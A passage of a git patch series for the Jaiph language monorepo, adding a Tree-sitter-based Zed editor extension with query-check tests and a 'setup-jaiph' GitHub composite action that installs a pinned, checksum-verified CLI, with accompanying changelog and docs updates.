`*.test.jh`) in +[Zed](https://zed.dev). + +- Website: [jaiph.org](https://jaiph.org) +- Lives in the monorepo at `plugins/zed/` ([jaiphlang/jaiph](https://github.com/jaiphlang/jaiph)) + +## Features + +Highlights the current Jaiph surface: `import`, `config`, `channel` (`->` +routes, `<-` sends), `script` (backtick and fenced), `rule`, `workflow`, +`run` / `run async`, `ensure`, `catch` / `recover`, `prompt … returns`, `match` +(`=>`, `_` wildcard), `if` / `else if`, `for … in`, `const`, `log` / `logerr` / +`logwarn`, `fail`, `return`, and `test` blocks (`mock`, `allow_failure`, +`expect_contain` / `expect_not_contain` / `expect_equal`), plus comments, +double- and triple-quoted strings, regex patterns, numbers, and booleans. + +Fenced and inline script bodies (```` ```bash ````, ```` ```python3 ````, …) +inject the embedded language via `languages/jaiph/injections.scm`; a bare fence +defaults to shell, matching the Jaiph runtime. + +Zed language extensions require a **Tree-sitter** grammar (they cannot reuse a +TextMate grammar like the VS Code extension), so this extension is backed by +the grammar at [`../../grammars/tree-sitter-jaiph`](../../grammars/tree-sitter-jaiph). + +## The grammar and how it is version-pinned + +`extension.toml` pins the grammar by **repository + revision** and the in-repo +subdirectory: + +```toml +[grammars.jaiph] +repository = "https://github.com/jaiphlang/jaiph" +rev = "" +path = "grammars/tree-sitter-jaiph" +``` + +Bump `rev` to the commit that carries the matching +`grammars/tree-sitter-jaiph/src/` whenever the grammar changes. The generated +parser (`src/`) is committed, so Zed builds the grammar without running +`tree-sitter generate`. + +For local **grammar** development, point `repository` at a local checkout with a +`file://` URL: + +```toml +[grammars.jaiph] +repository = "file:///absolute/path/to/jaiph" +rev = "" +path = "grammars/tree-sitter-jaiph" +``` + +## Local install (Install Dev Extension) + +1. In Zed, open the command palette and run **zed: install dev extension** + (Extensions view → **Install Dev Extension**). +2. Select **this folder** (`plugins/zed`) — not the monorepo root. +3. Open a `.jh` or `*.test.jh` file; highlighting applies immediately. + +Zed compiles the pinned grammar on install. For fully offline grammar hacking, +use the `file://` grammar form above. + +## Publishing to the Zed extension registry + +Zed extensions are published from the +[`zed-industries/extensions`](https://github.com/zed-industries/extensions) +registry, which references each extension by path. When publishing, this +monorepo is added as a submodule and the registry entry points at: + +```toml +path = "plugins/zed" +``` + +so the extension loads directly from this directory. + +## Test + +```bash +npm install +npm test # regenerates the grammar and query-checks the shipped .scm files +``` + +The suite drives the real Tree-sitter CLI against +`../../grammars/tree-sitter-jaiph` and the queries in `languages/jaiph/`, +asserting that keywords, comments, strings, and embedded-language injections +are captured — and that removed surface (e.g. the `wait` keyword) is not. It +fails if the grammar or a query regresses. A C toolchain is required (the CLI +compiles the parser on the fly); CI and macOS/Linux dev machines have one. diff --git a/plugins/zed/extension.toml b/plugins/zed/extension.toml new file mode 100644 index 00000000..890a71e6 --- /dev/null +++ b/plugins/zed/extension.toml @@ -0,0 +1,20 @@ +id = "jaiph" +name = "Jaiph" +description = "Jaiph orchestration language support for Zed (Tree-sitter syntax highlighting)." +version = "0.1.0" +schema_version = 1 +authors = ["Jaiph contributors"] +repository = "https://github.com/jaiphlang/jaiph" + +# The Tree-sitter grammar lives in this same monorepo at +# `grammars/tree-sitter-jaiph`. It is pinned by repository + revision, with the +# in-repo subdirectory given by `path`. Bump `rev` to the commit that carries a +# matching `grammars/tree-sitter-jaiph/src/` whenever the grammar changes. +# +# For local grammar development, point `repository` at a local checkout with a +# `file://` URL, e.g.: +# repository = "file:///absolute/path/to/jaiph" +[grammars.jaiph] +repository = "https://github.com/jaiphlang/jaiph" +rev = "c41c0a429ea537e4de469e27bb3400b6cebe9a7d" +path = "grammars/tree-sitter-jaiph" diff --git a/plugins/zed/languages/jaiph/config.toml b/plugins/zed/languages/jaiph/config.toml new file mode 100644 index 00000000..094b2b35 --- /dev/null +++ b/plugins/zed/languages/jaiph/config.toml @@ -0,0 +1,13 @@ +name = "Jaiph" +grammar = "jaiph" +# Suffix match, so `.jh` and `*.test.jh` both resolve to this language. +path_suffixes = ["jh", "test.jh"] +line_comments = ["# "] +autoclose_before = ",)]}" + +brackets = [ + { start = "{", end = "}", close = true, newline = true }, + { start = "(", end = ")", close = true, newline = false }, + { start = "[", end = "]", close = true, newline = false }, + { start = "\"", end = "\"", close = true, newline = false, not_in = ["string", "comment"] }, +] diff --git a/plugins/zed/languages/jaiph/highlights.scm b/plugins/zed/languages/jaiph/highlights.scm new file mode 100644 index 00000000..22159d65 --- /dev/null +++ b/plugins/zed/languages/jaiph/highlights.scm @@ -0,0 +1,42 @@ +; Jaiph syntax highlighting for Zed. +; Capture names follow Zed's highlight scopes so they map onto the active theme. + +; Keywords: declarations, commands, control flow, and test-block constructs. +[ + "import" "export" "as" "config" "channel" "script" "rule" "workflow" "test" + "const" "run" "ensure" "prompt" "log" "logerr" "logwarn" "fail" "return" + "send" "recover" "catch" + "if" "else" "for" "in" "match" "async" "returns" "not" + "mock" "allow_failure" "expect_contain" "expect_not_contain" "expect_equal" +] @keyword + +["true" "false"] @boolean + +(comment) @comment + +[ + (string) + (triple_string) + (backtick_string) +] @string + +(regex) @string.regex + +(number) @number + +(operator) @operator + +[ + "{" "}" + "(" ")" + "[" "]" +] @punctuation.bracket + +; Dotted names: config keys (agent.model), qualified refs (helpers.scan). +(qualified_identifier) @property + +(identifier) @variable + +; Match-arm wildcard `_`. +((identifier) @constant.builtin + (#eq? @constant.builtin "_")) diff --git a/plugins/zed/languages/jaiph/injections.scm b/plugins/zed/languages/jaiph/injections.scm new file mode 100644 index 00000000..e346c46b --- /dev/null +++ b/plugins/zed/languages/jaiph/injections.scm @@ -0,0 +1,9 @@ +; Embedded script/inline-script bodies: ```lang ... ``` . +; When the fence carries a language tag, inject that grammar into the body. +(fenced_block + (language) @language + (embedded) @content) + +; A bare fence (``` ... ```) defaults to shell, matching Jaiph's runtime. +((fenced_block (embedded) @content) + (#set! "language" "bash")) diff --git a/plugins/zed/package.json b/plugins/zed/package.json new file mode 100644 index 00000000..b042a37f --- /dev/null +++ b/plugins/zed/package.json @@ -0,0 +1,18 @@ +{ + "name": "jaiph-zed", + "version": "0.1.0", + "description": "Query-check harness for the Jaiph Zed extension (Tree-sitter highlights/injections)", + "private": true, + "license": "MIT", + "repository": { + "type": "git", + "url": "https://github.com/jaiphlang/jaiph.git", + "directory": "plugins/zed" + }, + "scripts": { + "test": "node --test test/*.test.mjs" + }, + "devDependencies": { + "tree-sitter-cli": "^0.24.0" + } +} diff --git a/plugins/zed/test/fixtures/current.jh b/plugins/zed/test/fixtures/current.jh new file mode 100644 index 00000000..bfb80cb6 --- /dev/null +++ b/plugins/zed/test/fixtures/current.jh @@ -0,0 +1,73 @@ +#!/usr/bin/env jaiph +# Zed grammar fixture: exercises the current .jh language surface. + +import "helpers.jh" as helpers + +config { + agent.backend = "claude" + agent.model = "claude-opus" + run.recover_limit = 3 + runtime.docker_timeout_seconds = 600 + module.name = "sample" +} + +const REPO = "my-project" +const NOTE = """ +Multi-line note for ${REPO} +""" + +channel alerts +channel findings -> handler + +script setup_env = ```bash +mkdir -p out +``` + +rule check_deps(path) { + run setup_env() + return "${path}" +} + +export workflow default(task) { + const status = run setup_env() + + if status == "ok" { + log "ready" + } else if status =~ /warn/ { + logwarn "degraded" + } else { + logerr "failed" + } + + for item in status { + log item + } + + ensure check_deps("package.json") catch (failure) { + fail "deps missing" + } + + run setup_env() recover (err) { + logwarn "retrying" + } + + run async helpers.scan() + + const script_out = run ```python3 +print("inline") +```(task) + + const answer = prompt "Summarize ${task}" returns "{ risk: string }" + log "risk: ${answer.risk}" + + alerts <- "started" + findings <- run setup_env() + + const label = match status { + "ok" => "pass" + /err/ => "error" + _ => "unknown" + } + + return "${label}" +} diff --git a/plugins/zed/test/fixtures/current.test.jh b/plugins/zed/test/fixtures/current.test.jh new file mode 100644 index 00000000..e0f188ef --- /dev/null +++ b/plugins/zed/test/fixtures/current.test.jh @@ -0,0 +1,11 @@ +# Zed grammar fixture: current *.test.jh test-block surface. + +test "happy path" { + mock prompt "canned answer" + + const response = run helpers.default() allow_failure + + expect_contain response "canned answer" + expect_not_contain response "error" + expect_equal response "canned answer" +} diff --git a/plugins/zed/test/fixtures/regression.jh b/plugins/zed/test/fixtures/regression.jh new file mode 100644 index 00000000..d8ec3668 --- /dev/null +++ b/plugins/zed/test/fixtures/regression.jh @@ -0,0 +1,7 @@ +# Regression fixture: stale surface the grammar must NOT highlight as keywords. + +workflow default() { + # `wait` was removed from the language (E_PARSE). It is a plain identifier, + # never a command keyword. If the grammar re-adds it, the test fails. + wait for_something +} diff --git a/plugins/zed/test/highlights.test.mjs b/plugins/zed/test/highlights.test.mjs new file mode 100644 index 00000000..12c395ea --- /dev/null +++ b/plugins/zed/test/highlights.test.mjs @@ -0,0 +1,126 @@ +// Query-check for the shipped Zed highlight / injection queries. +// +// Drives the real Tree-sitter CLI against the in-repo grammar +// (grammars/tree-sitter-jaiph) and the queries this extension ships +// (languages/jaiph/*.scm), so it fails if either the grammar or a query +// regresses away from the current Jaiph language surface. +import { test, before } from "node:test"; +import assert from "node:assert/strict"; +import { execFileSync } from "node:child_process"; +import * as fs from "node:fs"; +import * as path from "node:path"; +import { fileURLToPath } from "node:url"; + +const HERE = path.dirname(fileURLToPath(import.meta.url)); +const PLUGIN = path.join(HERE, ".."); +const GRAMMAR_DIR = path.join(PLUGIN, "..", "..", "grammars", "tree-sitter-jaiph"); +const LANG_DIR = path.join(PLUGIN, "languages", "jaiph"); +const FIXTURES = path.join(HERE, "fixtures"); +const TS = path.join(PLUGIN, "node_modules", ".bin", "tree-sitter"); + +function ts(args, opts = {}) { + return execFileSync(TS, args, { cwd: GRAMMAR_DIR, encoding: "utf8", ...opts }); +} + +// One capture emitted by `tree-sitter query`. `text` is absent for multi-line +// captures (the CLI omits it), which we use to detect multi-line strings. +function runQuery(queryFile, fixture) { + const out = ts([ + "query", + path.join(LANG_DIR, queryFile), + path.join(FIXTURES, fixture), + ]); + const caps = []; + const re = + /capture: (?:\d+ - )?([\w.]+), start: \((\d+), \d+\), end: \((\d+), \d+\)(?:, text: `([^`]*)`)?/g; + let m; + while ((m = re.exec(out)) !== null) { + caps.push({ name: m[1], startRow: +m[2], endRow: +m[3], text: m[4] }); + } + return caps; +} + +const has = (caps, name, text) => + caps.some((c) => c.name === name && c.text === text); + +before(() => { + // Bind grammar.js <-> queries: regenerate src/ so a grammar edit that breaks + // the queries fails here rather than shipping stale generated parser code. + ts(["generate"]); +}); + +test("keywords, comments, and strings highlight in current.jh", () => { + const caps = runQuery("highlights.scm", "current.jh"); + + const keywords = [ + "import", "export", "config", "channel", "script", "rule", "workflow", + "const", "run", "ensure", "prompt", "log", "logerr", "logwarn", "fail", + "return", "recover", "catch", "if", "else", "for", "in", "match", "async", + "returns", + ]; + for (const kw of keywords) { + assert.ok(has(caps, "keyword", kw), `expected "${kw}" to highlight as @keyword`); + } + + // Comments (shebang line is a comment too). + assert.ok( + caps.some((c) => c.name === "comment"), + "expected at least one @comment", + ); + + // Double-quoted strings. + assert.ok(has(caps, "string", '"my-project"'), 'expected "my-project" as @string'); + // A triple-quoted string spans multiple lines (proves triple_string works). + assert.ok( + caps.some((c) => c.name === "string" && c.endRow > c.startRow), + "expected a multi-line @string (triple-quoted block)", + ); + + // Dotted names (config keys / qualified refs) are @property, so a leading + // segment like `run` in `run.recover_limit` is NOT mis-highlighted as a keyword. + assert.ok(has(caps, "property", "run.recover_limit"), "config key should be @property"); + assert.ok(!has(caps, "keyword", "run.recover_limit"), "config key must not be @keyword"); +}); + +test("test-block keywords highlight in current.test.jh", () => { + const caps = runQuery("highlights.scm", "current.test.jh"); + for (const kw of [ + "test", "mock", "allow_failure", + "expect_contain", "expect_not_contain", "expect_equal", + ]) { + assert.ok(has(caps, "keyword", kw), `expected "${kw}" to highlight as @keyword`); + } +}); + +test("stale `wait` surface is not a keyword", () => { + const caps = runQuery("highlights.scm", "regression.jh"); + assert.ok(!has(caps, "keyword", "wait"), "`wait` was removed; must not be @keyword"); + assert.ok(has(caps, "variable", "wait"), "`wait` should highlight as a plain @variable"); +}); + +test("injections resolve embedded script languages", () => { + const caps = runQuery("injections.scm", "current.jh"); + assert.ok(has(caps, "language", "bash"), "expected bash-fenced script injection"); + assert.ok(has(caps, "language", "python3"), "expected python3 inline-script injection"); + assert.ok( + caps.some((c) => c.name === "content"), + "expected an @content injection region", + ); +}); + +test("extension.toml pins the grammar and references only in-tree files", () => { + const ext = fs.readFileSync(path.join(PLUGIN, "extension.toml"), "utf8"); + assert.match(ext, /\[grammars\.jaiph\]/, "extension.toml must declare [grammars.jaiph]"); + assert.match(ext, /repository\s*=/, "grammar must be pinned by repository"); + assert.match(ext, /rev\s*=\s*"[0-9a-f]{7,40}"/, "grammar must be pinned by revision"); + assert.match(ext, /path\s*=\s*"grammars\/tree-sitter-jaiph"/, "grammar subdir must be pinned"); + + const cfg = fs.readFileSync(path.join(LANG_DIR, "config.toml"), "utf8"); + assert.match(cfg, /grammar\s*=\s*"jaiph"/, "config.toml must select the jaiph grammar"); + assert.match(cfg, /path_suffixes\s*=.*"jh"/, "config.toml must claim the .jh suffix"); + + // Every query the extension relies on exists inside plugins/zed. + for (const f of ["highlights.scm", "injections.scm", "config.toml"]) { + assert.ok(fs.existsSync(path.join(LANG_DIR, f)), `${f} must exist under languages/jaiph`); + } +}); From f8b38f74841237a7f9374db5deab375c821ed40b Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Wed, 29 Jul 2026 12:28:14 +0200 Subject: [PATCH 23/24] Feat: add setup-jaiph composite action for CI installs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Ship a reusable composite action at actions/setup-jaiph/ that installs a pinned Jaiph CLI onto PATH in GitHub Actions. The action.yml takes a `version` input (semver / nightly / release tag) and runs setup.sh, which downloads the standalone release binary and checksum for the runner's OS and arch — matching the release channel documented in docs/setup.md — so consumer workflows do not need Node. The install directory is appended to GITHUB_PATH for subsequent steps. Installation fails closed on checksum mismatch (and on minisign signature failure when minisign is available), matching the installer's fail-closed policy. A path-filtered setup-jaiph-action.yml CI job and e2e test 08 exercise the action so it does not bitrot. Docs (README, docs/setup.md, docs/index.html) gain a minimal `uses: jaiphlang/jaiph/actions/setup-jaiph@` snippet, and the completed task is removed from QUEUE.md. Co-Authored-By: Claude Opus 4.8 (1M context) --- .github/workflows/setup-jaiph-action.yml | 40 +++++ CHANGELOG.md | 4 + QUEUE.md | 17 -- README.md | 9 ++ actions/setup-jaiph/README.md | 47 +++++- actions/setup-jaiph/action.yml | 29 ++++ actions/setup-jaiph/setup.sh | 63 ++++++++ docs/index.html | 7 + docs/setup.md | 16 ++ e2e/test_all.sh | 1 + e2e/tests/08_setup_action.sh | 194 +++++++++++++++++++++++ 11 files changed, 406 insertions(+), 21 deletions(-) create mode 100644 .github/workflows/setup-jaiph-action.yml create mode 100644 actions/setup-jaiph/action.yml create mode 100755 actions/setup-jaiph/setup.sh create mode 100644 e2e/tests/08_setup_action.sh diff --git a/.github/workflows/setup-jaiph-action.yml b/.github/workflows/setup-jaiph-action.yml new file mode 100644 index 00000000..27cadce2 --- /dev/null +++ b/.github/workflows/setup-jaiph-action.yml @@ -0,0 +1,40 @@ +name: setup-jaiph action + +# Path-filtered so core PRs do not run this. Exercises the composite action from +# this repo on the runners it advertises (Linux + macOS) against the nightly +# release so it does not bitrot. +on: + push: + paths: + - "actions/setup-jaiph/**" + - "docs/install" + - ".github/workflows/setup-jaiph-action.yml" + +jobs: + setup-jaiph: + name: Install nightly and run jaiph + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, macos-latest] + runs-on: ${{ matrix.os }} + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Install jaiph + id: setup + uses: ./actions/setup-jaiph + with: + version: nightly + + # jaiph must be on PATH for subsequent steps, and the action's output must + # match what the CLI reports directly. + - name: Verify jaiph is on PATH + shell: bash + run: | + which jaiph + got="$(jaiph --version)" + echo "on PATH: ${got}" + echo "action output: ${{ steps.setup.outputs.version }}" + [ "${got}" = "${{ steps.setup.outputs.version }}" ] diff --git a/CHANGELOG.md b/CHANGELOG.md index 86d5840a..ffec5242 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,8 @@ ## Summary +- **Install Jaiph in GitHub Actions with `setup-jaiph`:** the placeholder at `actions/setup-jaiph/` is now a shippable reusable composite action — `- uses: jaiphlang/jaiph/actions/setup-jaiph@` with a `version` input (bare semver, a release tag, or `nightly`) installs a pinned `jaiph` CLI onto `PATH` for GitHub-hosted Linux and macOS runners in one step. It downloads the same standalone per-platform release binary as the [curl installer](docs/setup.md), so no Node/npm is required on the runner, appends the install dir to `GITHUB_PATH` for later steps, and inherits the installer's fail-closed checksum/signature policy (a bad checksum or a missing artifact fails the step and installs nothing). + - **Refresh the VS Code extension for the current language:** the in-tree `plugins/vscode/` extension now highlights the current `.jh` / `*.test.jh` surface (`script`, `run async`, `catch` / `recover`, channels, `for … in`, `logwarn`, `expect_*`, `test` blocks), backs open/save diagnostics and formatting with the installed `jaiph` CLI (reporting a clear error when the binary is missing instead of failing silently), and ships an automated grammar + CLI-contract test suite gated by a path-filtered CI job. - **Add a Zed extension:** `plugins/zed/` is a real Zed language extension for `.jh` / `*.test.jh`, backed by a new Tree-sitter grammar at `grammars/tree-sitter-jaiph/` (Zed requires Tree-sitter, so the VS Code TextMate grammar cannot be reused). It highlights the current Jaiph surface — keywords, comments, double/triple-quoted strings, regex, config keys, channels (`->` / `<-`), `match` arms, and `test` blocks — and injects embedded script bodies (```` ```bash ````, ```` ```python3 ````, …) into their host language. The grammar is pinned from `extension.toml` by repository + revision (with a `file://` form for local dev), and a path-filtered CI job regenerates the grammar and query-checks the shipped highlight/injection queries against fixtures so a grammar or query regression fails the build. @@ -16,6 +18,8 @@ ## All changes +- **Feat — add `actions/setup-jaiph` for one-step CI installs:** other repositories had no first-class way to install a pinned `jaiph` CLI in GitHub Actions — the placeholder at `actions/setup-jaiph/` only documented the intended usage. It is now a real **composite** action (`actions/setup-jaiph/action.yml`) with a single `version` input (a bare semver `0.11.0`, a release tag `v0.11.0`, or `nightly`; default `nightly`) and a resolved `version` output (the installed `jaiph --version` banner). Its entrypoint (`actions/setup-jaiph/setup.sh`) is thin glue over the canonical release installer (`docs/install`): it resolves the input to a GitHub Release ref (bare semver → `v`, an explicit tag or `nightly` kept as-is), runs the installer into a runner-owned bin dir (`$RUNNER_TEMP/jaiph-bin`), appends that dir to `$GITHUB_PATH` so `jaiph` is on `PATH` for later steps, and writes the resolved version to `$GITHUB_OUTPUT`. It downloads the same standalone per-platform release binary as the curl installer (**no Node/npm on the runner**), covering GitHub-hosted **Linux** and **macOS** (arm64 / x64), and **all download / checksum / signature fail-closed policy stays in `docs/install`** rather than being duplicated — a checksum mismatch, a missing signature file, or a missing release artifact fails the step and installs nothing (the signature is verified when `minisign` is on the runner's `PATH`); the script also unsets `JAIPH_REPO_URL` so a stray value can never flip the installer into local-source build mode. A path-filtered CI workflow (`.github/workflows/setup-jaiph-action.yml`) exercises the action from this repo against `nightly` on `ubuntu-latest` and `macos-latest` — asserting `jaiph` lands on `PATH` and the action output matches what the CLI reports — so it does not bitrot, and a network-free e2e (`e2e/tests/08_setup_action.sh`, wired into `e2e/test_all.sh`) drives the entrypoint against a `file://` mock release to cover ref resolution, the `GITHUB_PATH`/`GITHUB_OUTPUT` wiring, and fail-closed on both a tampered checksum and a missing artifact. Docs: a rewritten `actions/setup-jaiph/README.md` (usage snippet matching the implemented inputs, an inputs/outputs table, and the security policy), a new [Install in GitHub Actions (CI)](docs/setup.md#install-in-github-actions-ci) section in [Install & switch versions](docs/setup.md), a GitHub Actions install snippet in the README, and a feature entry on `docs/index.html`. + - **Feat — bring the in-tree VS Code extension up to the current Jaiph language surface:** `plugins/vscode/` was imported from the old `jaiph-syntax-vscode` repo and still described a stale language (`.jph` fixtures and docs, camelCase assertions, removed keywords). Its TextMate grammar and `language-configuration.json` now match the current `.jh` / `*.test.jh` grammar: `for … in` loops fold and highlight, `catch` joins `recover` as a failure handler, `logwarn` joins the command keywords, the test assertions are `expect_contain` / `expect_not_contain` / `expect_equal`, the config keys are the current set (`agent.model`, `run.recover_limit`, `runtime.docker_timeout_seconds`, `module.name` / `module.version` / `module.description`), and stale surface (`wait`, `respond`, `agent.default_model`, `runtime.docker_enabled`, the camelCase assertions, and every `.jph` assumption) is gone. Diagnostics and formatting stay wired to the installed CLI (`jaiph compile --json` and `jaiph format`) but now report a clear configuration error when the binary is missing or unreachable — distinguishing an unconfigured default `PATH` lookup from a bad `jaiph.compilerPath` — instead of silently reporting success, and a transient compile failure leaves prior diagnostics in place. A new `npm test` suite tokenizes fixtures with `vscode-textmate` (with a regression fixture that fails if removed surface such as `wait` reappears) and runs the real `jaiph compile --json` against valid and invalid fixtures, so the diagnostics tests break if the CLI contract changes. Packaging metadata and the plugin README were corrected to the monorepo layout (`.jh` only, how to F5 from `plugins/vscode/`, package/publish scripts), and a path-filtered `VS Code plugin` CI workflow builds, tests, and packages the extension only when its tree — or the `jaiph compile` command it depends on — changes, so core PRs do not rebuild it by default. - **Fix — stop the `jaiph mcp` / `jaiph serve` source watcher from missing edits during hot reload:** the shared `watchFile`-based watcher re-derives its file set on every hot reload. It used to unwatch every file and re-watch the whole new set, but re-watching a file that survived the reload reset `watchFile`'s baseline — captured with an asynchronous initial `stat` that fires no callback — so an edit that landed before that `stat` completed was absorbed into the new baseline and never detected, silently dropping a hot reload. The watcher now reconciles instead: it only unwatches files that left the set and only watches files that arrived, leaving a surviving file's live baseline (and the poll that catches its next edit) untouched. diff --git a/QUEUE.md b/QUEUE.md index c6f40dbc..64f890c3 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -13,20 +13,3 @@ Process rules: 7. **Acceptance criteria are non-negotiable.** A task is not done until every acceptance bullet is verified by a test that fails when the contract is violated. "It works on my machine" or "the existing tests pass" is not acceptance. *** - -## Add `actions/setup-jaiph` for CI installs #dev-ready - -Other repositories need a one-step way to install a pinned Jaiph CLI in GitHub Actions. A placeholder exists at `actions/setup-jaiph/`; ship a reusable composite (or JS) action there. - -Scope: - -- Implement `actions/setup-jaiph/action.yml` that installs Jaiph onto `PATH` for `runner.os` / arch used by GitHub-hosted runners. -- Inputs at minimum: `version` (semver / `nightly` / release tag). Prefer the same release/binary channel as `docs/setup.md` (standalone release binaries + checksums); do not require Node on the consumer workflow unless npm is an explicit documented fallback. -- Add the install directory to `GITHUB_PATH`. Fail closed on checksum (and signature when `minisign` is available) failure — match installer fail-closed policy. -- Document usage: `- uses: jaiphlang/jaiph/actions/setup-jaiph@` with a pinned version input. Optionally exercise the action from this repo's CI on a path filter so it does not bitrot. - -Acceptance: - -- A workflow using the action can run `jaiph --version` and get the requested version (or nightly) on linux and darwin runners covered by release artifacts. -- Wrong checksum / missing artifact fails the step; success leaves `jaiph` on `PATH` for subsequent steps. -- README under `actions/setup-jaiph/` shows a minimal workflow snippet that matches the implemented inputs. diff --git a/README.md b/README.md index adf0e06d..8aebca7e 100644 --- a/README.md +++ b/README.md @@ -75,6 +75,15 @@ Or install from npm: npm install -g jaiph ``` +In GitHub Actions, install a pinned CLI with the [`setup-jaiph`](actions/setup-jaiph/) composite action (same release binaries, no Node required on the runner): + +```yaml +- uses: jaiphlang/jaiph/actions/setup-jaiph@v0.11.0 + with: + version: 0.11.0 # semver, a release tag, or 'nightly' +- run: jaiph --version # jaiph is now on PATH for later steps +``` + Verify: `jaiph --version`. Switch versions: `jaiph use nightly` or `jaiph use 0.11.0`. Releases ship a `SHA256SUMS` file plus a detached [minisign](https://jedisct1.github.io/minisign/) signature (`SHA256SUMS.minisig`); the installer verifies the checksum and, when `minisign` and the project public key are available, the signature — see [Verify the release signature](docs/setup.md#verify-the-release-signature). diff --git a/actions/setup-jaiph/README.md b/actions/setup-jaiph/README.md index 0127cac5..888a815c 100644 --- a/actions/setup-jaiph/README.md +++ b/actions/setup-jaiph/README.md @@ -1,9 +1,48 @@ # `setup-jaiph` GitHub Action -Placeholder. Implement via the QUEUE task that adds `action.yml` here so workflows can install a pinned Jaiph CLI with: +Install a pinned [Jaiph](https://github.com/jaiphlang/jaiph) CLI onto `PATH` in a +GitHub Actions job. Downloads the standalone per-platform release binary — the +same channel as the [curl installer](https://jaiph.org/how-to/install) — so no +Node/npm is required on the runner. + +Supported runners: GitHub-hosted **Linux** and **macOS** (arm64 / x64), covered by +release artifacts. + +## Usage + +```yaml +steps: + - uses: jaiphlang/jaiph/actions/setup-jaiph@v0.11.0 + with: + version: 0.11.0 # semver, a release tag (v0.11.0), or 'nightly' + - run: jaiph --version # jaiph is now on PATH for every later step +``` + +Pin both the action (`@v0.11.0`) and the `version` input to an exact release for +reproducible CI. Use `nightly` to track the rolling prerelease: ```yaml -- uses: jaiphlang/jaiph/actions/setup-jaiph@v0.11.0 - with: - version: 0.11.0 + - uses: jaiphlang/jaiph/actions/setup-jaiph@nightly + with: + version: nightly ``` + +## Inputs + +| Input | Required | Default | Description | +|-----------|----------|-----------|-------------| +| `version` | no | `nightly` | Version to install: a bare semver (`0.11.0`), a release tag (`v0.11.0`), or `nightly`. | + +## Outputs + +| Output | Description | +|-----------|-------------| +| `version` | The resolved `jaiph --version` banner of the installed CLI. | + +## Security + +The action reuses the release installer's fail-closed policy: it verifies the +`SHA256SUMS` checksum for the downloaded binary and the detached +`SHA256SUMS.minisig` signature when [`minisign`](https://jedisct1.github.io/minisign/) +is on `PATH`. A checksum mismatch, a missing signature file, or a missing release +artifact fails the step and installs nothing. diff --git a/actions/setup-jaiph/action.yml b/actions/setup-jaiph/action.yml new file mode 100644 index 00000000..5558978d --- /dev/null +++ b/actions/setup-jaiph/action.yml @@ -0,0 +1,29 @@ +name: Setup Jaiph +description: Install a pinned Jaiph CLI onto PATH for GitHub-hosted Linux and macOS runners. +author: jaiphlang +branding: + icon: terminal + color: purple + +inputs: + version: + description: >- + Jaiph version to install: a bare semver (e.g. 0.11.0), a release tag + (e.g. v0.11.0), or 'nightly' for the rolling prerelease. Pin an exact + version for reproducible CI. + required: false + default: nightly + +outputs: + version: + description: The resolved `jaiph --version` banner of the installed CLI. + value: ${{ steps.install.outputs.version }} + +runs: + using: composite + steps: + - id: install + shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + run: bash "${{ github.action_path }}/setup.sh" diff --git a/actions/setup-jaiph/setup.sh b/actions/setup-jaiph/setup.sh new file mode 100755 index 00000000..647e59df --- /dev/null +++ b/actions/setup-jaiph/setup.sh @@ -0,0 +1,63 @@ +#!/usr/bin/env bash +# +# setup-jaiph GitHub Action entrypoint. +# +# Install a pinned jaiph CLI in CI and expose it on PATH for later steps. This +# is thin glue over the canonical release installer (docs/install): it resolves +# the `version` input to a release ref, runs the installer into a runner-owned +# bin dir, then appends that dir to $GITHUB_PATH. All download / checksum / +# signature fail-closed policy lives in docs/install and MUST NOT be duplicated +# here — this script only decides the ref and wires PATH for the runner. +# +# Consumed from action.yml via INPUT_VERSION. Test/override hooks: +# JAIPH_INSTALLER path to the installer script (default: repo docs/install) +# JAIPH_BIN_DIR install dir (default: $RUNNER_TEMP/jaiph-bin) +# JAIPH_RELEASE_BASE_URL release asset base URL (see docs/install) +# GITHUB_PATH/GITHUB_OUTPUT Actions files; skipped when unset (local runs) + +set -euo pipefail + +# Resolve the requested version to a GitHub Release ref. +version="${INPUT_VERSION:-${1:-nightly}}" +# Trim surrounding whitespace (YAML folding can introduce it). +version="${version#"${version%%[![:space:]]*}"}" +version="${version%"${version##*[![:space:]]}"}" +[ -n "${version}" ] || version="nightly" + +case "${version}" in + nightly) ref="nightly" ;; # rolling prerelease tag + v[0-9]*) ref="${version}" ;; # already a release tag (v0.11.0) + [0-9]*) ref="v${version}" ;; # bare semver (0.11.0 -> v0.11.0) + *) ref="${version}" ;; # any other explicit tag +esac + +bin_dir="${JAIPH_BIN_DIR:-${RUNNER_TEMP:-/tmp}/jaiph-bin}" +mkdir -p "${bin_dir}" + +script_dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +installer="${JAIPH_INSTALLER:-${script_dir}/../../docs/install}" +if [ ! -f "${installer}" ]; then + echo "setup-jaiph: installer not found at ${installer}" >&2 + exit 1 +fi + +echo "setup-jaiph: resolved version '${version}' to release ref '${ref}'" >&2 + +# Force the release-download path: unset JAIPH_REPO_URL so a stray value can +# never flip docs/install into local-source build mode. +( + unset JAIPH_REPO_URL + JAIPH_BIN_DIR="${bin_dir}" JAIPH_REPO_REF="${ref}" bash "${installer}" +) + +# Expose the install dir on PATH for subsequent workflow steps and this one. +if [ -n "${GITHUB_PATH:-}" ]; then + printf '%s\n' "${bin_dir}" >> "${GITHUB_PATH}" +fi +export PATH="${bin_dir}:${PATH}" + +resolved="$("${bin_dir}/jaiph" --version)" +echo "setup-jaiph: installed ${resolved}" >&2 +if [ -n "${GITHUB_OUTPUT:-}" ]; then + printf 'version=%s\n' "${resolved}" >> "${GITHUB_OUTPUT}" +fi diff --git a/docs/index.html b/docs/index.html index 11560a2e..bd902017 100644 --- a/docs/index.html +++ b/docs/index.html @@ -589,6 +589,13 @@

    Runtime

    put credentials plus .jh files and go, with no host Jaiph process and no Docker daemon inside the container. Here the container/pod boundary is the sandbox; there is no jaiph-managed isolation. See Deploy the runtime image standalone.

    +

    GitHub Actions install. The reusable + setup-jaiph composite action installs a pinned + jaiph CLI onto PATH for GitHub-hosted Linux and macOS runners in one step + — the same release binaries as the curl installer, so no Node is required on the runner, and + fail-closed on a bad checksum or missing artifact. See + Install in GitHub Actions (CI).

    Samples

